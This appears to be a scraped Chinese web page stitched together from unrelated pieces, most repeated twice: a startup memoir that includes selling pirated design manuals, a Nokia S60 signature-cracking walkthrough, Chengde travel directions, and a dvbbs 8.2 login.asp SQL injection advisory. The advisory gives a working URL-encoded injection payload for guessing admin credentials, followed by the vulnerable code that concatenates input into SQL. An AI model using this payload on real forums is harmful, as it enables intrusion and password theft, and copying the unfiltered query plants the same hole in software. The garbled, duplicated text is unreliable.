在admin5上看到的文章，很受用！
前言：
如果你打开了这篇文章，说明很有可能你也是一个内心不安分，敢想敢干的人。如果真是这样，那么祝贺你，你将拥有一段不平凡的经历以及足以让你自豪的人生，即便是失败，也会是轰轰烈烈，当然，你会比那些整日浑浑噩噩的上班一族更有机会成为下一个比尔盖茨，或下一个洛克菲勒。
本文内容会涉及到消费者的需求调查、盈利模式的设计、网站的策划建设、公司注册、服务器购买、人员招聘以及营销推广等。这里面既有很多常人无法理解的艰辛，也有百年难遇的奇闻异事，总的来说，就是百感交集。
这篇文章也许会危害一些人或者产生不良的影响，因为我揭露了一些鲜为人知的“暴利”地下产业，不过正因为如此，这篇文章才能体现出它真实的一面。如果你喜欢，或者对你有帮助，请支持一下，谢谢!
正文：
2006年8月，酝酿了5年多的创业项目逐渐成熟，我决定正式辞职，投身互联网创业大军。
此时我大学毕业才两年，经过两年的打拼，我已经在武汉一家效益非常好的设计院里成为情报部门的重要一员，年薪6万虽不算多，但是对一个文科生来说，还是难以令人割舍的，更重要的是，我很快将被提升为部门的负责人。此时我做出这样的决定，周围所有的人包括领导、同事、家人、同学甚至LP，无不感到遗憾。但是有一位名人说得好，得到一样东西是以放弃另一样东西为代价的，而我认为，这样的交换，很值!
我选择的项目是信息服务，由于之前没有任何经验，所以我把我的创业分为了三个阶段：
第一阶段，摸索消费者的需求，为期1年左右。
第二阶段，掌握营销技能，为期两年左右。
第三阶段，组建团队，开始实施真正的项目。
到现在，我已经处在了第二阶段中期，创业也将近两年了，收获确实不小。由于最近打算成立一个“武汉创业俱乐部”，以便能和武汉市的创业者进行交流和合作，所以将创业中的一些体会、经验与各位朋友分享，希望能有更多志同道合的朋友加入俱乐部。
一、第一阶段：摸索消费者的需求。
刚辞职，精神状态特别好。由于思路比较清晰，所以网站很快上线。
顺便说一下，虽然我是文科出身，但是特别喜欢计算机，大学的时候有1/3的时间钻研网络和计算机去了，所以建站对我来说问题不大。
因为我要建两个站，而我知道国内的IDC服务不稳定，所以为了保险起见，选了两家信誉比较好的服务商，一家是上海的中华企业网，国内排名前十的一级域名服务商，用它建了一个出售电子书的网站;另一家是成都的世纪东方，国内排名前十的IDC服务商，用它建了一个网店建设服务网站。这里总结一下：中华企业网速度极快，但是安全性能比不上世纪东方，服务还可以;世纪东方服务态度好，解决问题非常迅速，后台管理非常方便快捷，但是它的缺点是网速偏慢。这两家的服务器都非常稳定，中华企业网从来没出过问题，世纪东方出过一次小问题，很快解决。
先来说说为什么要建出售电子书的网站。由于工作的缘故，我手上积累了大量的珍稀绝版标准规范和设计手册，这里面有很多是设计人员常用的，但是由于总销量太小，出版社早就不再发行了，所以众多设计院只能靠自己印刷来解决，而经常有一些小设计院或设计人员连一本原版都弄不到，所以只好到处高价求售，正是发现了这个需求并拥有这个资源，所以我首先建了一个出售电子书的网站。由于稀缺资源很受搜索引擎欢迎，所以这个网站很快有了一定的人气，但是我担心由于侵权的问题而被相关部门处罚，所以在一年之后很快就关闭了。虽然根本没推广，每天的IP50都不到，但是这个网站还是帮我赚了几千块，尤其有一本《火力发电厂汽水管道零件及部件典型设计》，尽管很多论坛提供免费下载，但是仍然有源源不断的设计人员到我这里来购买，我定价每本30元，虽然不便宜，但是他们都毫不犹豫，立马付款，因为急需!
不过现在这样的网站越来越多，电子书的价格也贬值了不少，国家知识产权相关的政策也越来越严，所以这类网站前途已经比较渺茫了。不过从这个站我获得了一个重要信息，那就是，对于急需的商品或服务，消费者不会嫌贵，也愿意冒风险，例如医院、房子、减肥药等。
前言：
如果你打开了这篇文章，说明很有可能你也是一个内心不安分，敢想敢干的人。如果真是这样，那么祝贺你，你将拥有一段不平凡的经历以及足以让你自豪的人生，即便是失败，也会是轰轰烈烈，当然，你会比那些整日浑浑噩噩的上班一族更有机会成为下一个比尔盖茨，或下一个洛克菲勒。
本文内容会涉及到消费者的需求调查、盈利模式的设计、网站的策划建设、公司注册、服务器购买、人员招聘以及营销推广等。这里面既有很多常人无法理解的艰辛，也有百年难遇的奇闻异事，总的来说，就是百感交集。
这篇文章也许会危害一些人或者产生不良的影响，因为我揭露了一些鲜为人知的“暴利”地下产业，不过正因为如此，这篇文章才能体现出它真实的一面。如果你喜欢，或者对你有帮助，请支持一下，谢谢!
正文：
2006年8月，酝酿了5年多的创业项目逐渐成熟，我决定正式辞职，投身互联网创业大军。
此时我大学毕业才两年，经过两年的打拼，我已经在武汉一家效益非常好的设计院里成为情报部门的重要一员，年薪6万虽不算多，但是对一个文科生来说，还是难以令人割舍的，更重要的是，我很快将被提升为部门的负责人。此时我做出这样的决定，周围所有的人包括领导、同事、家人、同学甚至LP，无不感到遗憾。但是有一位名人说得好，得到一样东西是以放弃另一样东西为代价的，而我认为，这样的交换，很值!
我选择的项目是信息服务，由于之前没有任何经验，所以我把我的创业分为了三个阶段：
第一阶段，摸索消费者的需求，为期1年左右。
第二阶段，掌握营销技能，为期两年左右。
第三阶段，组建团队，开始实施真正的项目。
到现在，我已经处在了第二阶段中期，创业也将近两年了，收获确实不小。由于最近打算成立一个“武汉创业俱乐部”，以便能和武汉市的创业者进行交流和合作，所以将创业中的一些体会、经验与各位朋友分享，希望能有更多志同道合的朋友加入俱乐部。
一、第一阶段：摸索消费者的需求。
刚辞职，精神状态特别好。由于思路比较清晰，所以网站很快上线。
顺便说一下，虽然我是文科出身，但是特别喜欢计算机，大学的时候有1/3的时间钻研网络和计算机去了，所以建站对我来说问题不大。
因为我要建两个站，而我知道国内的IDC服务不稳定，所以为了保险起见，选了两家信誉比较好的服务商，一家是上海的中华企业网，国内排名前十的一级域名服务商，用它建了一个出售电子书的网站;另一家是成都的世纪东方，国内排名前十的IDC服务商，用它建了一个网店建设服务网站。这里总结一下：中华企业网速度极快，但是安全性能比不上世纪东方，服务还可以;世纪东方服务态度好，解决问题非常迅速，后台管理非常方便快捷，但是它的缺点是网速偏慢。这两家的服务器都非常稳定，中华企业网从来没出过问题，世纪东方出过一次小问题，很快解决。
先来说说为什么要建出售电子书的网站。由于工作的缘故，我手上积累了大量的珍稀绝版标准规范和设计手册，这里面有很多是设计人员常用的，但是由于总销量太小，出版社早就不再发行了，所以众多设计院只能靠自己印刷来解决，而经常有一些小设计院或设计人员连一本原版都弄不到，所以只好到处高价求售，正是发现了这个需求并拥有这个资源，所以我首先建了一个出售电子书的网站。由于稀缺资源很受搜索引擎欢迎，所以这个网站很快有了一定的人气，但是我担心由于侵权的问题而被相关部门处罚，所以在一年之后很快就关闭了。虽然根本没推广，每天的IP50都不到，但是这个网站还是帮我赚了几千块，尤其有一本《火力发电厂汽水管道零件及部件典型设计》，尽管很多论坛提供免费下载，但是仍然有源源不断的设计人员到我这里来购买，我定价每本30元，虽然不便宜，但是他们都毫不犹豫，立马付款，因为急需!
不过现在这样的网站越来越多，电子书的价格也贬值了不少，国家知识产权相关的政策也越来越严，所以这类网站前途已经比较渺茫了。不过从这个站我获得了一个重要信息，那就是，对于急需的商品或服务，消费者不会嫌贵，也愿意冒风险，例如医院、房子、减肥药等。
为了保护诺基亚手机本身的操作系统安全，签名、证书系统便应运而生，很多需要加载到启动项内的手机软件都必须要进行签名才可以进行安装、使用，非常麻烦……最近，网络上出现了由 FCA00000 、 Leftup\bugb 等众多网友合作“破解”方式，将这个问题彻底解决了，签名将不再那么让人苦恼了。
1、连接手机 准备破解
首先下载破解程序包（下载地址： http://work.newhua.com/cfan/200811/mobile01.rar, 快车代码： CF01811SZKW01 ），将其中的 Freepack.sisx 拷贝到手机上安装，将另外的 HelloCarlide.exe 文件存放到手机的 C 盘根目录之下。
而后用数据线将手机和电脑连接（ PC 套件），找到刚刚安装的“ TRK ”运行，在提示询问下选“否”，并进入“选项→ Settings ” , 并把 Connection 修改为“ USB ” 。返回主界面选择“选项→ ConnCt ”出现 Statua Connected 时表示连接成功。
2、记录端口 执行破解
在破解之前需要记录连接端口号，方法：右键单击“我的电脑”找到“属性→硬件→设备管理器”后双击“端口（ COM 和 LPT ）”，此时会看到手机型号及端口号，如 COM6 ，然后执行破解文件 hacks60.exe 并选取 COM6 端口连接，这样系统的签名认证就算初步破解了。
3、永久保留破解状态
在破解包中找到 CprofDriver_SISX.idd 拷贝至手机 C ： sys\bin 文件夹中， CapsOn\Off 两个文件则复制到手机中运行安装，以后每次重启只要运行菜单表中的 CapsOff 就可以得到手机进入破解权限状态，而运行 CapsOn 则是恢复正常状态。
1、连接手机 准备破解
首先下载破解程序包（下载地址： http://work.newhua.com/cfan/200811/mobile01.rar, 快车代码： CF01811SZKW01 ），将其中的 Freepack.sisx 拷贝到手机上安装，将另外的 HelloCarlide.exe 文件存放到手机的 C 盘根目录之下。
而后用数据线将手机和电脑连接（ PC 套件），找到刚刚安装的“ TRK ”运行，在提示询问下选“否”，并进入“选项→ Settings ” , 并把 Connection 修改为“ USB ” 。返回主界面选择“选项→ ConnCt ”出现 Statua Connected 时表示连接成功。
2、记录端口 执行破解
在破解之前需要记录连接端口号，方法：右键单击“我的电脑”找到“属性→硬件→设备管理器”后双击“端口（ COM 和 LPT ）”，此时会看到手机型号及端口号，如 COM6 ，然后执行破解文件 hacks60.exe 并选取 COM6 端口连接，这样系统的签名认证就算初步破解了。
3、永久保留破解状态
在破解包中找到 CprofDriver_SISX.idd 拷贝至手机 C ： sys\bin 文件夹中， CapsOn\Off 两个文件则复制到手机中运行安装，以后每次重启只要运行菜单表中的 CapsOff 就可以得到手机进入破解权限状态，而运行 CapsOn 则是恢复正常状态。
最近有好多朋友咨询我关于到承德旅游的事情，每天都要解释感觉挺累的，偷个懒，写篇文章，希望能帮助大家。
因为承德距离北京比较近，多数都是北京的朋友到承德来玩，我就拿北京到承德的路线来说吧！
(一)坐汽车从北京到承德
方案一，六里桥上车,最好是站内买票,4-5个小时左右到承德。
方案二，三元桥到承德10分钟一趟车，现在不知道了80-120加四个人走，每人加15元走高速，走高速2小时内到目的地。
方案三，东直门有依维克，50元一位，到承德4小时，30分钟一趟。但是到东直门车上人就多了，没有好座位。
方案四，去四惠（地铁1线）长途客运站也是50元一位，30分钟一趟，但是到东直门停半小时拉人，到承德4小时。
方案五，北京站出来右拐，看有举牌子的，他能拉着你去找车，也是50元到60元能砍价，最低40元（非节假日），40分钟到1小时一趟，4-5小时到承德。
若从承德去北京的话，在火车站或者云山饭店那都可以坐汽车,去的时间也差不多是5个小时,到北京的六里桥客运站。
(二)坐火车
北京到承德
我个人常坐的车次是：N211、2251、4452/4453
承德到北京
因为火车会因为某些原因更改时间，所以同时推荐大家一款比较好的软件盛名列车时刻表
下载地址
因为承德距离北京比较近，多数都是北京的朋友到承德来玩，我就拿北京到承德的路线来说吧！
(一)坐汽车从北京到承德
方案一，六里桥上车,最好是站内买票,4-5个小时左右到承德。
方案二，三元桥到承德10分钟一趟车，现在不知道了80-120加四个人走，每人加15元走高速，走高速2小时内到目的地。
方案三，东直门有依维克，50元一位，到承德4小时，30分钟一趟。但是到东直门车上人就多了，没有好座位。
方案四，去四惠（地铁1线）长途客运站也是50元一位，30分钟一趟，但是到东直门停半小时拉人，到承德4小时。
方案五，北京站出来右拐，看有举牌子的，他能拉着你去找车，也是50元到60元能砍价，最低40元（非节假日），40分钟到1小时一趟，4-5小时到承德。
若从承德去北京的话，在火车站或者云山饭店那都可以坐汽车,去的时间也差不多是5个小时,到北京的六里桥客运站。
(二)坐火车
北京到承德
我个人常坐的车次是：N211、2251、4452/4453
承德到北京
因为火车会因为某些原因更改时间，所以同时推荐大家一款比较好的软件盛名列车时刻表
下载地址
漏洞描述：
中国应用最广泛的论坛程序，最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号，导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。
漏洞等级：
高危
漏洞分析：
Login.asp 代码片段
中国应用最广泛的论坛程序，最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号，导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。
漏洞等级：
高危
漏洞分析：
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271
Login.asp 代码片段
-----------------------------------------------------------------------------------------------------------------
Rem ==========论坛登录函数=========
Rem 判断用户登录
Function ChkUserLogin(username,password,mobile,usercookies,ctype)
Dim rsUser,article,userclass,titlepic
Dim userhidden,lastip,UserLastLogin
Dim GroupID,ClassSql,FoundGrade
Dim regname,iMyUserInfo
Dim sql,sqlstr,OLDuserhidden
FoundGrade=False
lastip=Dvbbs.UserTrueIP
userhidden=request.form("userhidden")
If userhidden <> "1" Then userhidden=2
ChkUserLogin=false
If mobile<>"" Then
sqlstr=" Passport='"&mobile&"'"
Else
sqlstr=" UserName='"&username&"'"
End If
Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid"
Sql=Sql & " From [Dv_User] Where "&sqlstr&""
set rsUser=Dvbbs.Execute(sql)
If rsUser.eof and rsUser.bof Then
'strString("本论坛不存在该用户名.@@@@0")
ChkUserLogin=False
Exit Function
Else
If rsUser("Lockuser") =1 Or rsUser("UserGroupID") =5 Then
ChkUserLogin=False
Exit Function
Else
If Trim(password)=Trim(rsUser("UserPassword")) Then
ChkUserLogin=True
Dvbbs.UserID=RsUser("UserID")
RegName = RsUser("UserName")
Article= RsUser("UserPost")
UserLastLogin = RsUser("cometime")
UserClass = RsUser("Userclass")
GroupID = RsUser("userGroupID")
OLDuserhidden=RsUser("UserHidden")
TitlePic = RsUser("UserTitle")
If Article < 0 Then Article=0
Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,"userinfo","xml")
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@cometime").text=Now()
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@activetime").text=DateAdd("s",-3600,Now())
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@boardid").text=0
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo").attributes.setNamedItem(Dvbbs.UserSession.createNode(2,"isuserpermissionall","")).text=Dvbbs.FoundUserPermission_All()
If OLDuserhidden <> CLng(userhidden) Then
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@userhidden").text=userhidden
Dvbbs.Execute("update Dv_user set userhidden="&userhidden&" where UserId=" & Dvbbs.UserID)
End If
Dim BS
Set Bs=Dvbbs.GetBrowser()
Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement)
If EnabledSession Then Session(Dvbbs.CacheName & "UserID")=Dvbbs.UserSession.xml
Else
If ajaxPro Then
strString("用户名或者密码不正确.@@@@0")
End If
ChkUserLogin=False
Exit Function
End If
End If
End If
-----------------------------------------------------------------------------------------------------------------
Rem ==========论坛登录函数=========
Rem 判断用户登录
Function ChkUserLogin(username,password,mobile,usercookies,ctype)
Dim rsUser,article,userclass,titlepic
Dim userhidden,lastip,UserLastLogin
Dim GroupID,ClassSql,FoundGrade
Dim regname,iMyUserInfo
Dim sql,sqlstr,OLDuserhidden
FoundGrade=False
lastip=Dvbbs.UserTrueIP
userhidden=request.form("userhidden")
If userhidden <> "1" Then userhidden=2
ChkUserLogin=false
If mobile<>"" Then
sqlstr=" Passport='"&mobile&"'"
Else
sqlstr=" UserName='"&username&"'"
End If
Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid"
Sql=Sql & " From [Dv_User] Where "&sqlstr&""
set rsUser=Dvbbs.Execute(sql)
If rsUser.eof and rsUser.bof Then
'strString("本论坛不存在该用户名.@@@@0")
ChkUserLogin=False
Exit Function
Else
If rsUser("Lockuser") =1 Or rsUser("UserGroupID") =5 Then
ChkUserLogin=False
Exit Function
Else
If Trim(password)=Trim(rsUser("UserPassword")) Then
ChkUserLogin=True
Dvbbs.UserID=RsUser("UserID")
RegName = RsUser("UserName")
Article= RsUser("UserPost")
UserLastLogin = RsUser("cometime")
UserClass = RsUser("Userclass")
GroupID = RsUser("userGroupID")
OLDuserhidden=RsUser("UserHidden")
TitlePic = RsUser("UserTitle")
If Article < 0 Then Article=0
Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,"userinfo","xml")
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@cometime").text=Now()
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@activetime").text=DateAdd("s",-3600,Now())
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@boardid").text=0
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo").attributes.setNamedItem(Dvbbs.UserSession.createNode(2,"isuserpermissionall","")).text=Dvbbs.FoundUserPermission_All()
If OLDuserhidden <> CLng(userhidden) Then
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@userhidden").text=userhidden
Dvbbs.Execute("update Dv_user set userhidden="&userhidden&" where UserId=" & Dvbbs.UserID)
End If
Dim BS
Set Bs=Dvbbs.GetBrowser()
Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement)
If EnabledSession Then Session(Dvbbs.CacheName & "UserID")=Dvbbs.UserSession.xml
Else
If ajaxPro Then
strString("用户名或者密码不正确.@@@@0")
End If
ChkUserLogin=False
Exit Function
End If
End If
End If
-----------------------------------------------------------------------------------------------------------------
生活中常常就是这样，有些事情，以为可以明天去做的；有些人，以为可以明天再去见的。可常常，就是在一转身，一挥手，这些人，这些事，就从此不同了。有种物是人非的感觉，那曾经的青春似乎已经离我们远去，那纯真的爱，真切的情，勇敢的自信，一切的一切，似乎在这个物欲横流的社会里都在悄悄的消逝。……
